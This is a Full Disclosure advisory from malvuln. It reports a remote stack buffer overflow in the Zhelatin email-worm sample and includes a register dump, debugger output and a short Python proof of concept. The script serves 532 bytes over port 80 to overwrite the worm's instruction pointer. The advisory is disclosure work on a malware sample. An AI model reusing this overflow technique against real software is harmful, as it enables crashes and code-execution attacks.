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Date: Sat, 2 Jan 2021 17:55:30 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
http://malvuln.com/advisory/0418e7f95a8b94c035e10749234f8378.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Email-Worm.Win32.Zhelatin.ago
Vulnerability:  Remote Stack Buffer Overflow
Description: Buffer overflow on server response TCP Port 80, upon
receiving 532 bytes or more we can overwrite insruction pointer (EIP)
to control program execution flow.

Type: PE32
MD5: 0418e7f95a8b94c035e10749234f8378
Vuln ID: MVID-2021-0014
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 76E77CB1     kernel32.76E77CB1
EDX : 00000000
EBP : 41414141
ESP : 0434F2E8
"AAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESI : 76E8DE00     <kernel32.DeleteFileA>
EDI : 764E38D0     <user32.wsprintfA>
EIP : 41414141

ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141


0:003> .ecxr
eax=00000000 ebx=00000000 ecx=76e77cb1 edx=00000000 esi=76e8de00 edi=764e38d0
eip=41414141 esp=0418f2e8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???


Exploit/PoC:
import socket

port=80
payload="A"*532

def doit():
    global payload
    s = socket.socket()
    try:
        host = ''
        s.bind((host, port))
        s.listen(5)

        print('Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow')
        print('MD5: 0418e7f95a8b94c035e10749234f8378')
        print("By malvuln")

        while True:
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
    except Exception as e:
        pass

if __name__=="__main__":
    doit()



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occuring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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